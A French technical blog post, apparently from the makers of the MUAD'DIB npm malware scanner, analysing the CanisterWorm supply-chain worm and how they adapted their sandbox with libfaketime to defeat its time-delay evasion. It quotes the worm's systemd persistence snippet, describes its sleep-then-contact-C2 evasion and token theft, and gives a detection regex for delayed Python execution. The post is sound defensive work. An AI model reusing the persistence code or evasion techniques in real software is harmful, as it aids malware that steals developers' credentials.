19-21 mars 2026. CanisterWorm, un ver auto-propagateur npm, compromet 64+ packages via des tokens npm volés. Le vecteur initial : la compromission de Trivy (Aqua Security) par le groupe TeamPCP. 75 des 76 tags de trivy-action ont été force-pushés avec un infostealer. 135+ artefacts malveillants identifiés au total.
MUAD'DIB a détecté 7 packages compromis. Le verdict était DORMANT SUSPECT, pas MALICIOUS. Cet article explique pourquoi, et ce qu'on a corrigé.
L'attaque
CanisterWorm est le premier ver npm documenté qui utilise un C2 sur la blockchain ICP (Internet Computer Protocol). Le payload vole des tokens npm, puis les utilise pour publier des versions infectées des packages du développeur compromis. Le ver se propage automatiquement.
Aikido a fait la première détection publique le 20 mars à 20:45 UTC.
Le payload installe un service systemd persistant qui lance un script Python :
fs.writeFileSync(unitFilePath, [
'[Unit]',
`Description=${SERVICE_NAME}`,
'After=default.target',
'',
'[Service]',
'Type=simple',
`ExecStart=/usr/bin/python3 ${scriptPath}`,
'Restart=always',
'RestartSec=5',
'',
'[Install]',
'WantedBy=default.target',
].join('\n'), { mode: 0o644 });
execSync('systemctl --user daemon-reload', { stdio: 'pipe' });
execSync(`systemctl --user enable ${SERVICE_NAME}.service`, { stdio: 'pipe' });
execSync(`systemctl --user start ${SERVICE_NAME}.service`, { stdio: 'pipe' });
Le script Python exécute un time.sleep(300) avant de contacter le canister C2 sur la blockchain ICP. Cinq minutes.
Ce que MUAD'DIB a détecté
7 packages compromis détectés entre le 20 mars 23:49 UTC et le 21 mars 00:27 UTC, tous confirmés par JFrog XRAY :
| Package | JFrog XRAY | Détection |
|---|---|---|
@emilgroup/document-sdk-node@1.43.6 | XRAY-954947 | 20 mars 23:49 |
@emilgroup/insurance-sdk@1.97.6 | XRAY-954928 | 21 mars 00:13 |
@teale.io/eslint-config@1.8.16 | XRAY-954945 | 21 mars 00:14 |
@opengov/ppf-backend-types@1.141.2 | XRAY-954962 | 21 mars 00:24 |
@airtm/uuid-base32@1.0.2 | XRAY-954937 | 21 mars 00:26 |
@virtahealth/substrate-root@1.0.1 | XRAY-955055 | 21 mars 00:27 |
react-leaflet-heatmap-layer@2.0.1 | XRAY-954931 | 21 mars 00:27 |
C'est 7 sur 64+ packages compromis. L'analyse statique a remonté les signaux suivants sur chaque package :
- suspicious_dataflow (CRITICAL), detached_credential_exfil (CRITICAL)
- lifecycle_script, detached_process, js_obfuscation_pattern, high_entropy_string
- TEMPORAL ANOMALY : postinstall ajouté entre versions (CRITICAL)
- AST ANOMALY : child_process (CRITICAL), process.env (HIGH), https_request (HIGH)
- PUBLISH ANOMALY : publish_burst, dormant_spike, rapid_succession
- MAINTAINER CHANGE : new_maintainer x5-8, suspicious_maintainer x2-3
Score statique : 87/100. Les webhooks Discord ont été envoyés automatiquement.
Le problème : sandbox score 0
Le verdict final était DORMANT SUSPECT, pas MALICIOUS. Pourquoi ?
Le payload Python fait time.sleep(300) avant de contacter le C2. La sandbox MUAD'DIB a un timeout de 60 secondes par run (180 secondes pour les 3 runs cumulés). Le malware ne s'active jamais pendant l'analyse.
Le preload.js du sandbox patche les timers Node.js : setTimeout est forcé à 0, Date.now() est décalé. Mais le payload Python est lancé via execSync('systemctl --user start ...'). Le processus Python utilise le vrai time.sleep() de la libc. Le monkey-patching JavaScript ne touche pas les processus enfants Python ou bash.
Résultat : sandbox score 0/100 CLEAN. L'analyse statique a scoré 87, mais sans confirmation sandbox, le verdict reste DORMANT SUSPECT.
La solution : libfaketime (v2.10.7)
libfaketime est une bibliothèque qui intercepte les appels C de la libc : nanosleep, clock_gettime, gettimeofday. Via LD_PRELOAD, elle affecte tous les processus : Node.js, Python, bash, tout ce qui utilise la libc.
Avec un multiplicateur x1000, time.sleep(300) se complète en 0.3 secondes réelles.
Architecture
Deux niveaux complémentaires :
| Couche | Mécanisme | Cible |
|---|---|---|
| preload.js (JS) | Monkey-patching V8 | setTimeout, Date.now, process.hrtime |
| libfaketime (C) | LD_PRELOAD libc | nanosleep, clock_gettime, gettimeofday |
Le preload.js continue de logger les appels API (réseau, fichiers, env vars) et d'accélérer les timers JavaScript. libfaketime gère l'accélération au niveau système pour les processus enfants.
Implémentation en 7 fichiers
docker/Dockerfile : ajout de libfaketime au apk add.
RUN apk add --no-cache strace curl tcpdump coreutils findutils jq iptables libfaketime
src/sandbox/index.js : injection conditionnelle. Run 1 (baseline) n'utilise pas libfaketime. Runs 2 et 3 injectent MUADDIB_FAKETIME et mettent NODE_TIMING_OFFSET=0 pour éviter la double accélération :
const useFaketime = timeOffset > 0;
dockerArgs.push('-e', `NODE_TIMING_OFFSET=${useFaketime ? 0 : timeOffset}`);
if (useFaketime) {
const hours = Math.floor(timeOffset / 3600000);
const faketimeStr = hours >= 24
? `+${Math.floor(hours / 24)}d x1000`
: `+${hours}h x1000`;
dockerArgs.push('-e', `MUADDIB_FAKETIME=${faketimeStr}`);
dockerArgs.push('-e', 'MUADDIB_FAKETIME_ACTIVE=1');
}
docker/sandbox-runner.sh : setup LD_PRELOAD conditionnel avec DONT_FAKE_MONOTONIC=1 (protège la libuv event loop de Node.js).
if [ -n "$MUADDIB_FAKETIME" ] && [ -n "$LIBFAKETIME_PATH" ]; then
export LD_PRELOAD="$LIBFAKETIME_PATH"
export FAKETIME="$MUADDIB_FAKETIME"
export DONT_FAKE_MONOTONIC=1
export FAKETIME_NO_CACHE=1
fi
unset MUADDIB_FAKETIME MUADDIB_FAKETIME_ACTIVE
docker/preload.js : 4 modifications.
- Anti-double-accélération : si
MUADDIB_FAKETIME_ACTIVE=1, alorsTIME_OFFSET=0. libfaketime gère déjà l'offset au niveau C, ajouter l'offset JavaScript causerait un décalage de +144h au lieu de +72h. - Suppression des variables sandbox :
LD_PRELOAD,FAKETIME,DONT_FAKE_MONOTONIC,FAKETIME_NO_CACHEsont supprimés deprocess.envimmédiatement après le chargement. libfaketime est déjà chargé en mémoire, les variables ne sont plus nécessaires. - Proxy traps enrichis : le Proxy
process.envexistant reçoit des trapshas,ownKeysetgetOwnPropertyDescriptorpour cacher les variables sandbox. Un malware qui fait'LD_PRELOAD' in process.envouObject.keys(process.env)ne voit rien. - Spoofing
/proc/self/environ: un malware Python peut lire/proc/self/environpour détecterLD_PRELOAD. Le readFileSync intercepte ce chemin et filtre les variables sandbox du contenu.
Détection statique : SHELL-019
En complément du sandbox, une nouvelle règle statique détecte le pattern python3 -c "...time.sleep(N)..." avec N >= 100 secondes dans les scripts shell :
// src/scanner/shell.js
{ pattern: /python[23]?\s+-c\s*['"].*time\.sleep\s*\(\s*[1-9]\d{2,}/m,
name: 'python_time_delay_exec', severity: 'HIGH' }
Règle MUADDIB-SHELL-019, MITRE T1497.003 (Time Based Évasion Checks). Le seuil de 100 secondes évite les faux positifs sur les courts délais légitimes.
Logs de production
Voici ce que le sandbox affiche sur un package avec libfaketime actif :
[SANDBOX] Run 1/3 (immediate)...
[SANDBOX] Snapshot filesystem before install...
[SANDBOX] Installing package as sandboxuser...
[SANDBOX] Executing package entry point...
[SANDBOX] Building report...
[SANDBOX] Run 2/3 (72h offset)...
[SANDBOX] libfaketime active: FAKETIME=+3d x1000
[SANDBOX] Installing package as sandboxuser...
[SANDBOX] Run 3/3 (7d offset)...
[SANDBOX] libfaketime active: FAKETIME=+7d x1000
Run 1 : pas de libfaketime, c'est la baseline. Runs 2 et 3 : libfaketime accélère le temps système x1000. Le time.sleep(300) Python se termine en 0.3 secondes, le payload C2 se déclenche, et tcpdump/strace capturent la connexion réseau.
Limitations
| Langage | Fonctionne ? | Détail |
|---|---|---|
| Python (CPython) | Oui | time.sleep() accéléré. time.monotonic() pas affecté |
| Bash/sh | Oui | sleep 300 accéléré |
| Go | Non | Link statique libc, bypass LD_PRELOAD |
| Rust | Non | Idem |
| Java/JVM | Risque | Hangs possibles sans DONT_FAKE_MONOTONIC |
Go et Rust linkent la libc statiquement par défaut. LD_PRELOAD ne peut pas intercepter leurs appels système. C'est une limitation connue et documentée. Pour les malwares Go/Rust, la détection statique reste la seule ligne de défense.
Métriques v2.10.7
| Métrique | Avant | Après |
|---|---|---|
| Règles | 162 (157+5) | 163 (158+5) |
| Tests | 2643 | 2669 (+26) |
| TPR | 93.9% | 93.9% |
| FPR curated | 11.0% | 11.0% |
Zéro régression. Zéro faux positif ajouté. Le seuil de 100 secondes pour SHELL-019 et la restriction aux scripts shell (.sh, shebang) éliminent les cas bénins.
Leçon
Le monkey-patching JavaScript (preload.js) ne suffit pas. Quand un malware npm lance un processus Python, bash, ou n'importe quel binaire natif, les patches V8 sont invisibles. libfaketime comble ce gap en interceptant au niveau de la libc, avant même que l'interpréteur Python ne démarre.
CanisterWorm illustre un pattern récurrent : les attaquants utilisent volontairement un langage différent pour le payload (Python dans un package npm) précisément pour échapper aux sandboxes qui ne patchent que le runtime principal. La détection doit être polyglotte.
Et soyons honnêtes : MUAD'DIB a détecté 7 packages sur 64+ compromis, avec un verdict DORMANT SUSPECT et pas MALICIOUS. L'analyse statique a fonctionné. La sandbox non. C'est exactement le type de gap que libfaketime comble.